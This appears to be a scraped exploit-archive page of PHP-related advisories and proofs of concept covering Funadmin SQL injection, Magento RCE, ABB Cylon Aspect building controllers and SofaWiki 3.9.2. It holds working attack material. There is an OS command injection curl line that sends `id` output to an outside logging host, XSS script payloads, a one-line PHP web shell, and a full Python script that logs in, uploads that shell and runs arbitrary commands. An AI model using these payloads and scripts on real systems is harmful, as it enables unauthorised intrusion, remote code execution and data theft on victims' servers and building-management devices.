Helper is an enumerator written in PHP that helps identify directories on webservers that could be targets for things like cross site scripting, local file inclusion, remote shell upload, and remote SQL injection vulnerabilities.

Helper 0.1

Funadmin 5.0.2 is vulnerable to SQL Injection via the selectFields parameter in the index method of \app\backend\controller\auth\Auth.php.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-7pp4-388x-2xqj: SQL injection in funadmin

This Metasploit module uses a combination of an arbitrary file read (CVE-2024-34102) and a buffer overflow in glibc (CVE-2024-2961). It allows for unauthenticated remote code execution on various versions of Magento and Adobe Commerce (and earlier versions if the PHP and glibc versions are also vulnerable). Versions affected include 2.4.7 and earlier, 2.4.6-p5 and earlier, 2.4.5-p7 and earlier, and 2.4.4-p8 and earlier.

Magento / Adobe Commerce Remote Code Execution

ABB Cylon Aspect version 3.08.01 suffers from an unauthenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the file HTTP POST parameter called by the databaseFileDelete.php script.

  
ABB Cylon Aspect 3.08.01 (databaseFileDelete.php) Remote Code Execution

Vendor: ABB Ltd.  
Product web page: https://www.global.abb  
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio  
                  Firmware: <=3.08.01

Summary: ASPECT is an award-winning scalable building energy management  
and control solution designed to allow users seamless access to their  
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from an unauthenticated OS command  
injection vulnerability. This can be exploited to inject and execute arbitrary  
shell commands through the 'file' HTTP POST parameter called by the databaseFileDelete.php  
script.

Tested on: GNU/Linux 3.15.10 (armv7l)  
           GNU/Linux 3.10.0 (x86_64)  
           GNU/Linux 2.6.32 (x86_64)  
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz  
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz  
           PHP/7.3.11  
           PHP/5.6.30  
           PHP/5.4.16  
           PHP/4.4.8  
           PHP/5.3.3  
           AspectFT Automation Application Server  
           lighttpd/1.4.32  
           lighttpd/1.4.18  
           Apache/2.2.15 (CentOS)  
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)  
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
                            @zeroscience

Advisory ID: ZSL-2024-5845  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5845.php

21.04.2024

--

$ cat project

                 P   R   O   J   E   C   T

                        .|  
                        | |  
                        |'|            ._____  
                ___    |  |            |.   |' .---"|  
        _    .-'   '-. |  |     .--'|  ||   | _|    |  
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |  
     |' | |.    |    ||       | |   |  |    ||      |  
 ____|  '-'     '    ""       '-'   '-.'    '`      |____  
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░    
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░   
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░   
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ 

$ curl -X POST "http://192.168.73.31/databaseFileDelete.php" \  
> -d "file2=$(curl -A \"`id`\" remotelog.zeroscience.mk)\  
> &delete2=1\  
> &total=3\  
> &submitDeleteForm=Delete" ; ./incom -l httplog &  
<META HTTP-EQUIV='Refresh' content='0;URL=databaseFile.php'>  
[1]  + 38937 done       incom

$ cat httplog  
------ remotelog ------  
GET / HTTP/1.1  
User-Agent: uid=48(apache) gid=48(apache) groups=48(apache),0(root)  
Host: remotelog.zeroscience.mk  
Accept: */*  
------ remotelog ------

ABB Cylon Aspect 3.08.01 databaseFileDelete.php Command Injection

The ABB BMS/BAS controller suffers from an unauthenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the 'file' HTTP POST parameter called by the databaseFileDelete.php script.

ABB Cylon Aspect 3.08.01 (databaseFileDelete.php) Remote Code Execution

The vulnerability allows an unauthenticated attacker to perform network operations such as ping, traceroute, or nslookup on arbitrary hosts or IPs by sending a crafted GET request to networkDiagAjax.php. This could be exploited to interact with or probe internal or external systems, leading to internal information disclosure and misuse of network resources.

ABB Cylon Aspect 3.08.01 (networkDiagAjax.php) Remote Network Utility Execution

ABB Cylon Aspect version 3.08.01 allows an unauthenticated attacker to perform network operations such as ping, traceroute, or nslookup on arbitrary hosts or IPs by sending a crafted GET request to networkDiagAjax.php. This could be exploited to interact with or probe internal or external systems, leading to internal information disclosure and misuse of network resources.

    ABB Cylon Aspect 3.08.01 (networkDiagAjax.php) Remote Network Utility ExecutionVendor: ABB Ltd.Product web page: https://www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio                  Firmware: <=3.08.01Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices.Desc: The vulnerability allows an unauthenticated attacker to perform networkoperations such as ping, traceroute, or nslookup on arbitrary hosts or IPs bysending a crafted GET request to networkDiagAjax.php. This could be exploitedto interact with or probe internal or external systems, leading to internalinformation disclosure and misuse of network resources.Tested on: GNU/Linux 3.15.10 (armv7l)           GNU/Linux 3.10.0 (x86_64)           GNU/Linux 2.6.32 (x86_64)           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz           PHP/7.3.11           PHP/5.6.30           PHP/5.4.16           PHP/4.4.8           PHP/5.3.3           AspectFT Automation Application Server           lighttpd/1.4.32           lighttpd/1.4.18           Apache/2.2.15 (CentOS)           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2024-5844Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5844.php21.04.2024--$ cat project                 P   R   O   J   E   C   T                        .|                        | |                        |'|            ._____                ___    |  |            |.   |' .---"|        _    .-'   '-. |  |     .--'|  ||   | _|    |     .-'|  _.|  |    ||   '-__  |   |  |    ||      |     |' | |.    |    ||       | |   |  |    ||      | ____|  '-'     '    ""       '-'   '-.'    '`      |____░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░          ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░          ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░          ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ $ curl "http://192.168.73.31/networkDiagAjax.php?command=nslookup&host=packetstormsecurity.org"<div>Server:    8.8.8.8<br>Address 1: 8.8.8.8 dns.google<br><br>Name:      packetstormsecurity.org<br>Address 1: 198.84.60.198 198-84-60-198.ash01.rokabear.com<br></div>$ curl "http://192.168.73.31/networkDiagAjax.php?command=ping&host=1.1.1.1"<div>PING 1.1.1.1 (1.1.1.1): 56 data bytes<br>64 bytes from 1.1.1.1: seq=0 ttl=53 time=61.176 ms<br>64 bytes from 1.1.1.1: seq=1 ttl=53 time=60.986 ms<br>64 bytes from 1.1.1.1: seq=2 ttl=53 time=100.660 ms<br><br>--- 1.1.1.1 ping statistics ---<br>3 packets transmitted, 3 packets received, 0% packet loss<br>round-trip min/avg/max = 60.986/74.274/100.660 ms<br></div>$ curl "http://192.168.73.31/networkDiagAjax.php?command=traceroute&host=127.0.0.1"<div>traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 38 byte packets<br> 1  localhost.localdomain (127.0.0.1)  0.019 ms  0.010 ms  0.009 ms<br></div>

ABB Cylon Aspect 3.08.01 networkDiagAjax.php Remote Network Utility Execution

SofaWiki version 3.9.2 suffers from a reflective cross site scripting vulnerability.

    # Exploit Title: SofaWiki 3.9.2 - Reflected XSS (Authenticated) via RegexReplace Preview# Date: 10/17/2024# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.sofawiki.com# Software Link: https://www.sofawiki.com/site/files/snapshot.zip# Version: 3.9.2# Tested on: Windows XP*Summary:*A *reflected XSS* vulnerability exists in the *Regex Replace Preview*feature of SofaWiki. When a malicious payload is injected into the *Replace*field, the payload is executed immediately in the user’s browser during thepreview. Proof of Concept (PoC):1. Login to SofaWiki.2. Go to Special => Regex :http://localhost/sofawiki/index.php?action=view&name=special:regex&lang=en3. In the Regex field, enter any text (e.g., test).4. In the Replace field, inject the following payload:<script>alert('XSS');</script>5. Click Replace Preview to trigger the XSS.

SofaWiki 3.9.2 Cross Site Scripting

SofaWiki version 3.9.2 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: SofaWiki 3.9.2 - Stored XSS (Authenticated)# Date: 10/17/2024# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.sofawiki.com# Software Link: https://www.sofawiki.com/site/files/snapshot.zip# Version: 3.9.2# Tested on: Windows XPSummary:A stored XSS exists in SofaWiki's Open Ticket feature. An authenticateduser can inject a JavaScript payload into the ticket's title field, whichtriggers whenever the ticket is viewed.Proof of Concept (PoC):1. Login and go to New Ticket:http://localhost/sofawiki/index.php?name=special:tickets&ticketaction=new2. Use this payload in the Title field:<script>alert('XSS');</script>3. Click Open Ticket the alert will be triggered.The payload runs each time the ticket is opened.

SofaWiki version 3.9.2 suffers from a remote shell upload vulnerability.

    # Exploit Title: SofaWiki 3.9.2 - Remote Code Execution (RCE) via Open Ticket File Upload# Date: 10/17/2024# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.sofawiki.com# Software Link: https://www.sofawiki.com/site/files/snapshot.zip# Version: 3.9.2# Tested on: Windows XPSummary:A remote code execution (RCE) vulnerability exists in the Open Ticketfeature of SofaWiki 3.9.2. An attacker can upload a malicious `.phar` filethat contains PHP code, bypassing `.htaccess` restrictions, and executearbitrary commands on the server.Exploit Steps:1. Login to SofaWiki.2. Navigate to Special → Tickets → New Ticket:http://localhost/sofawiki/index.php?name=special:tickets&ticketaction=new3. Select your shell.phar file with this content:   <?php system($_GET['cmd']); ?>4. Fill in the ticket title and click Open Ticket.5. After the ticket is created, the page shows a link to the uploadedshell.phar6. access the webshell:http://localhost/sofawiki/site/files/ticket-1-shell.phar?cmd=whoami--------------# Exploit Title: SofaWiki 3.9.2 - RCE (authenticated) via Open Ticket File Upload  Exploit# Date: 10/17/2024# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.sofawiki.com# Software Link: https://www.sofawiki.com/site/files/snapshot.zip# Version: 3.9.2# Tested on: Windows XPimport requestsimport reimport sysclass SofaWikiExploit:    def __init__(self, base_url, username, password):        self.base_url = base_url.rstrip('/')        self.username = username        self.password = password        self.session = requests.Session()    def detect_login_name(self):        response =self.session.get(f"{self.base_url}/index.php?action=login")        match = re.search(r'name="name" value="([^"]+)"', response.text)        if not match:            print("\033[91m\033[1m[-] couldn't find the 'name' field.Exiting.\033[0m")            sys.exit(1)        return match.group(1)    def login(self):        print("\033[93m[*] logging in...\033[0m")        login_name = self.detect_login_name()        data = {            "submitlogin": "Login",            "username": self.username,            "pass": self.password,            "name": login_name,            "action": "login"        }        response = self.session.post(f"{self.base_url}/index.php",data=data)        if "Logout" in response.text:            print("\033[92m\033[1m[+] Login successful!\033[0m")            return True        print("\033[91m[-] login failed.\033[0m")        return False    def upload_shell(self):        print("\033[93m[*] uploading shell...\033[0m")        shell_content = '<?php system($_GET["cmd"]); ?>'        files = {            'uploadedfile': ('shell.phar', shell_content,'application/octet-stream'),            'title': (None, 'Chokri Hammedi Exploit'),            'text': (None, 'Chokri Hammedi RCE'),            'assigned': (None, 'admin'),            'priority': (None, '1 high'),            'submitopen': (None, 'Open Ticket'),            'MAX_FILE_SIZE': (None, '8000000')        }        response =self.session.post(f"{self.base_url}/index.php?name=special:tickets",files=files)        match = re.search(r'File (.*?) uploaded', response.text)        if not match:            print("\033[91m[-] shell upload failed.\033[0m")            sys.exit(1)        shell_url = f"{self.base_url}/site/files/{match.group(1)}"        print(f"\033[92m[+] shell uploaded: {shell_url}\033[0m")        return shell_url    def execute_command(self, shell_url, cmd):        print(f"\033[93m[*] running command: {cmd}\033[0m")        response = self.session.get(f"{shell_url}?cmd={cmd}")        print("\033[92m[+] command output:\033[0m")        print(f"\033[1m{response.text}\033[0m")if __name__ == "__main__":    if len(sys.argv) != 5:        print(f"\033[91musage: {sys.argv[0]} <target_url> <username><password> <cmd>\033[0m")        sys.exit(1)    target_url, username, password, cmd = sys.argv[1:5]    exploit = SofaWikiExploit(target_url, username, password)    if exploit.login():        shell_url = exploit.upload_shell()        exploit.execute_command(shell_url, cmd)

Tag

#php